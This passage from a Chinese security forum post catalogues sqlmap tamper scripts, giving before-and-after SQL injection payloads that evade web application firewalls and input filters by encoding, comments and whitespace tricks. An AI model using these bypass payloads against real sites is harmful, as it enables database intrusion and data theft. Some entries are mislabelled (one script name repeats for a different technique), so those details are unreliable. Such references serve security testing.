表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测

3.常用tamper脚本

  1. apostrophemask.py

  2. 适用数据库:ALL
  3. 作用:将引号替换为utf-8,用于过滤单引号
  4. 使用脚本前:tamper("1 AND '1'='1")
  5. 使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
复制代码
  1. base64encode.py

  2. 适用数据库:ALL
  3. 作用:替换为base64编码
  4. 使用脚本前:tamper("1' AND SLEEP(5)#")
  5. 使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
复制代码

  1. multiplespaces.py

  2. 适用数据库:ALL
  3. 作用:围绕sql关键字添加多个空格
  4. 使用脚本前:tamper('1 UNION SELECT foobar')
  5. 使用脚本后:1 UNION SELECT foobar
复制代码


s
  1. pace2plus.py

  2. 适用数据库:ALL
  3. 作用:用加号替换空格
  4. 使用脚本前:tamper('SELECT id FROM users')
  5. 使用脚本后:SELECT+id+FROM+users
复制代码
  1. nonrecursivereplacement.py

  2. 适用数据库:ALL
  3. 作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
  4. 使用脚本前:tamper('1 UNION SELECT 2--')
  5. 使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
复制代码

  1. space2randomblank.py

  2. 适用数据库:ALL
  3. 作用:将空格替换为其他有效字符
  4. 使用脚本前:tamper('SELECT id FROM users')
  5. 使用脚本后:SELECT%0Did%0DFROM%0Ausers
复制代码

  1. unionalltounion.py

  2. 适用数据库:ALL
  3. 作用:将union allselect 替换为unionselect
  4. 使用脚本前:tamper('-1 UNION ALL SELECT')
  5. 使用脚本后:-1 UNION SELECT
复制代码

  1. securesphere.py

  2. 适用数据库:ALL
  3. 作用:追加特定的字符串
  4. 使用脚本前:tamper('1 AND 1=1')
  5. 使用脚本后:1 AND 1=1 and '0having'='0having'
复制代码

  1. space2dash.py

  2. 适用数据库:ALL
  3. 作用:将空格替换为--,并添加一个随机字符串和换行符
  4. 使用脚本前:tamper('1 AND 9227=9227')
  5. 使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
复制代码

  1. space2mssqlblank.py

  2. 适用数据库:Microsoft SQL Server
  3. 测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
  4. 作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
  5. 使用脚本前:tamper('SELECT id FROM users')
  6. 使用脚本后:SELECT%0Eid%0DFROM%07users
复制代码

  1. between.py

  2. 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
  3. 作用:用NOT BETWEEN 0 AND #替换>
  4. 使用脚本前:tamper('1 AND A > B--')
  5. 使用脚本后:1 AND A NOT BETWEEN 0 AND B--
复制代码

  1. percentage.py

  2. 适用数据库:ASP
  3. 测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
  4. 作用:在每个字符前添加一个%
  5. 使用脚本前:tamper('SELECT FIELD FROM TABLE')
  6. 使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
复制代码

  1. sp_password.py

  2. 适用数据库:MSSQL
  3. 作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
  4. 使用脚本前:tamper('1 AND 9227=9227-- ')
  5. 使用脚本后:1 AND 9227=9227-- sp_password
复制代码

  1. charencode.py

  2. 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
  3. 作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
  4. 使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
  5. 使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
复制代码

  1. randomcase.py

  2. 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
  3. 作用:随机大小写
  4. 使用脚本前:tamper('INSERT')
  5. 使用脚本后:INseRt
复制代码

  1. charunicodeencode.py

  2. 适用数据库:ASP、ASP.NET
  3. 测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
  4. 作用:适用字符串的unicode编码
  5. 使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
  6. 使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
复制代码

  1. space2comment.py
  2. 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
  3. 作用:将空格替换为/**/
  4. 使用脚本前:tamper('SELECT id FROM users')
  5. 使用脚本后:SELECT/**/id/**/FROM/**/users
复制代码

  1. equaltolike.py

  2. 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
  3. 作用:将=替换为LIKE
  4. 使用脚本前:tamper('SELECT * FROM users WHERE id=1')
  5. 使用脚本后:SELECT * FROM users WHERE id LIKE 1
复制代码

  1. equaltolike.py

  2. 测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
  3. 作用:将>替换为GREATEST,绕过对>的过滤
  4. 使用脚本前:tamper('1 AND A > B')
  5. 使用脚本后:1 AND GREATEST(A,B+1)=A
复制代码

  1. ifnull2ifisnull.py

  2. 适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
  3. 测试通过数据库:MySQL 5.0 and 5.5
  4. 作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
  5. 使用脚本前:tamper('IFNULL(1, 2)')
  6. 使用脚本后:IF(ISNULL(1),2,1)
复制代码

  1. modsecurityversioned.py

  2. 适用数据库:MySQL
  3. 测试通过数据库:MySQL 5.0
  4. 作用:过滤空格,使用mysql内联注释的方式进行注入
  5. 使用脚本前:tamper('1 AND 2>1--')
  6. 使用脚本后:1 /*!30874AND 2>1*/--
复制代码

  1. space2mysqlblank.py

  2. 适用数据库:MySQL
  3. 测试通过数据库:MySQL 5.1
  4. 作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
  5. 使用脚本前:tamper('SELECT id FROM users')
  6. 使用脚本后:SELECT%0Bid%0DFROM%0Cusers
复制代码

  1. modsecurityzeroversioned.py

  2. 适用数据库:MySQL
  3. 测试通过数据库:MySQL 5.0
  4. 作用:使用内联注释方式(/*!00000*/)进行注入
  5. 使用脚本前:tamper('1 AND 2>1--')
  6. 使用脚本后:1 /*!00000AND 2>1*/--
复制代码

  1. space2mysqldash.py

  2. 适用数据库:MySQL、MSSQL
  3. 作用:将空格替换为 -- ,并追随一个换行符
  4. 使用脚本前:tamper('1 AND 9227=9227')
  5. 使用脚本后:1--%0AAND--%0A9227=9227
复制代码

  1. bluecoat.py

  2. 适用数据库:Blue Coat SGOS
  3. 测试通过数据库:MySQL 5.1,、SGOS
  4. 作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
  5. 使用脚本前:tamper('SELECT id FROM users where id = 1')
  6. 使用脚本后:SELECT%09id FROM users where id LIKE 1
复制代码
  1. versionedkeywords.py

  2. 适用数据库:MySQL
  3. 测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
  4. 作用:注释绕过
  5. 使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
  6. 使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
复制代码

  1. halfversionedmorekeywords.py

  2. 适用数据库:MySQL < 5.1
  3. 测试通过数据库:MySQL 4.0.18/5.0.22
  4. 作用:在每个关键字前添加mysql版本注释
  5. 使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
  6. 使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
复制代码

  1. space2morehash.py

  2. 适用数据库:MySQL >= 5.1.13
  3. 测试通过数据库:MySQL 5.1.41
  4. 作用:将空格替换为#,并添加一个随机字符串和换行符
  5. 使用脚本前:tamper('1 AND 9227=9227')
  6. 使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
复制代码

  1. apostrophenullencode.py

  2. 适用数据库:ALL
  3. 作用:用非法双字节Unicode字符替换单引号
  4. 使用脚本前:tamper("1 AND '1'='1")
  5. 使用脚本后:1 AND %00%271%00%27=%00%271
复制代码

  1. appendnullbyte.py

  2. 适用数据库:ALL
  3. 作用:在有效载荷的结束位置加载null字节字符编码
  4. 使用脚本前:tamper('1 AND 1=1')
  5. 使用脚本后:1 AND 1=1%00
复制代码

  1. chardoubleencode.py

  2. 适用数据库:ALL
  3. 作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
  4. 使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
  5. 使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
复制代码

  1. unmagicquotes.py

  2. 适用数据库:ALL
  3. 作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
  4. 使用脚本前:tamper("1' AND 1=1")
  5. 使用脚本后:1%bf%27 AND 1=1--
复制代码

  1. randomcomments.py

  2. 适用数据库:ALL
  3. 作用:用注释符分割sql关键字
  4. 使用脚本前:tamper('INSERT')
  5. 使用脚本后:I/**/N/**/SERT
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:33 , Processed in 0.026953 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表